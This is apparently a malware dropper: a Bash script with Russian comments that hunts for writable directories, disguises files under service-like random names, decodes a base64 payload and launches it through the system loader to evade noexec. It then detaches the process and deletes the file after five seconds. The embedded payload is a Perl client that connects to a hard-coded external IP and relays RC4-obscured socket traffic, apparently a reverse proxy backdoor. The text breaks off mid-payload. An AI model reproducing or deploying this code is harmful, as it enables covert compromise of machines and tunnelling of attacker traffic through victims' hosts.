#!/bin/bash

# Словари для имен
PREFIXES=("sys" "net" "update" "cloud" "core" "db" "cron" "session" "cache" "local")
NOUNS=("worker" "daemon" "service" "manager" "runner" "helper" "monitor" "provider" "driver" "guard")

# Глобальная переменная для хранения найденных доступных папок
VALID_DIRS=()

# --- 1. Поиск загрузчика (LD) ---
get_loader() {
    for path in \
        /lib64/ld-linux-x86-64.so.2 \
        /lib/ld-linux.so.2 \
        /lib/ld-linux-armhf.so.3 \
        /lib/ld-musl-x86_64.so.1; do
        if [ -f "$path" ]; then echo "$path"; return; fi
    done
}
LOADER_BIN=$(get_loader)

# --- 2. Умный поиск папок для записи ---
init_write_dirs() {
    # Список приоритетных кандидатов
    # /dev/shm и /run - это ОЗУ (лучший выбор)
    # /var/crash и /var/tmp - часто забывают закрыть
    local candidates=(
        "/dev/shm"
        "/tmp"
        "/var/tmp"
        "/run/lock"
        "/var/crash"
        "/var/opt"
        "/usr/tmp"
        "$HOME"
        "/run/user/$(id -u 2>/dev/null)"
    )

    # Проверяем кандидатов
    for dir in "${candidates[@]}"; do
        if [ -d "$dir" ] && [ -w "$dir" ]; then
            VALID_DIRS+=("$dir")
        fi
    done

    # ПЛАН Б: Если список пуст, ищем вообще ЛЮБУЮ доступную папку в /var и /tmp
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        # Ищем папки с правами записи на глубину 3
        # 2>/dev/null скрывает ошибки доступа
        found=$(find /var /tmp -maxdepth 3 -type d -writable 2>/dev/null | head -n 5)
        for d in $found; do
            VALID_DIRS+=("$d")
        done
    fi

    # ПЛАН В: Если совсем всё плохо, пробуем текущую папку
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        if [ -w "." ]; then VALID_DIRS+=("."); fi
    fi
}

# --- 3. Получение случайной папки из найденных ---
get_random_dir() {
    # Если массив пуст, пытаемся инициализировать
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        init_write_dirs
    fi

    # Если всё ещё пусто (система read-only), возвращаем /tmp и надеемся на чудо
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        echo "/tmp"
        return
    fi

    local rand_idx=$((RANDOM % ${#VALID_DIRS[@]}))
    echo "${VALID_DIRS[$rand_idx]}"
}

# --- 4. Генерация имени ---
get_random_name() {
    local dir="$1"
    local name=""
    while true; do
        local p=${PREFIXES[$RANDOM % ${#PREFIXES[@]}]}
        local n=${NOUNS[$RANDOM % ${#NOUNS[@]}]}
        local r=$RANDOM
        name="${p}_${n}_${r}"
        if [ ! -e "$dir/$name" ]; then echo "$name"; break; fi
    done
}

run_payload() {
    local base64_data="$1"

    # Выбираем папку
    local work_dir=$(get_random_dir)
    local bin_name=$(get_random_name "$work_dir")
    local full_path="$work_dir/$bin_name"

    # Распаковка
    echo "$base64_data" | base64 -d > "$full_path" 2>/dev/null
    chmod +x "$full_path"

    echo "[*] Run in: $work_dir -> $bin_name"

    # Запуск в subshell
    (
        cd "$work_dir" || exit

        if [ -n "$LOADER_BIN" ]; then
            # Запуск через LD (обход noexec)
            nohup "$LOADER_BIN" "./$bin_name" >/dev/null 2>&1 &
        else
            # Прямой запуск
            nohup "./$bin_name" >/dev/null 2>&1 &
        fi
    )

    # Очистка
    ( sleep 5; rm -f "$full_path" ) >/dev/null 2>&1 &
    sleep 0.5
}

echo "--- Init System ---"
# Первичная инициализация папок при старте скрипта
init_write_dirs


# script_10.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KC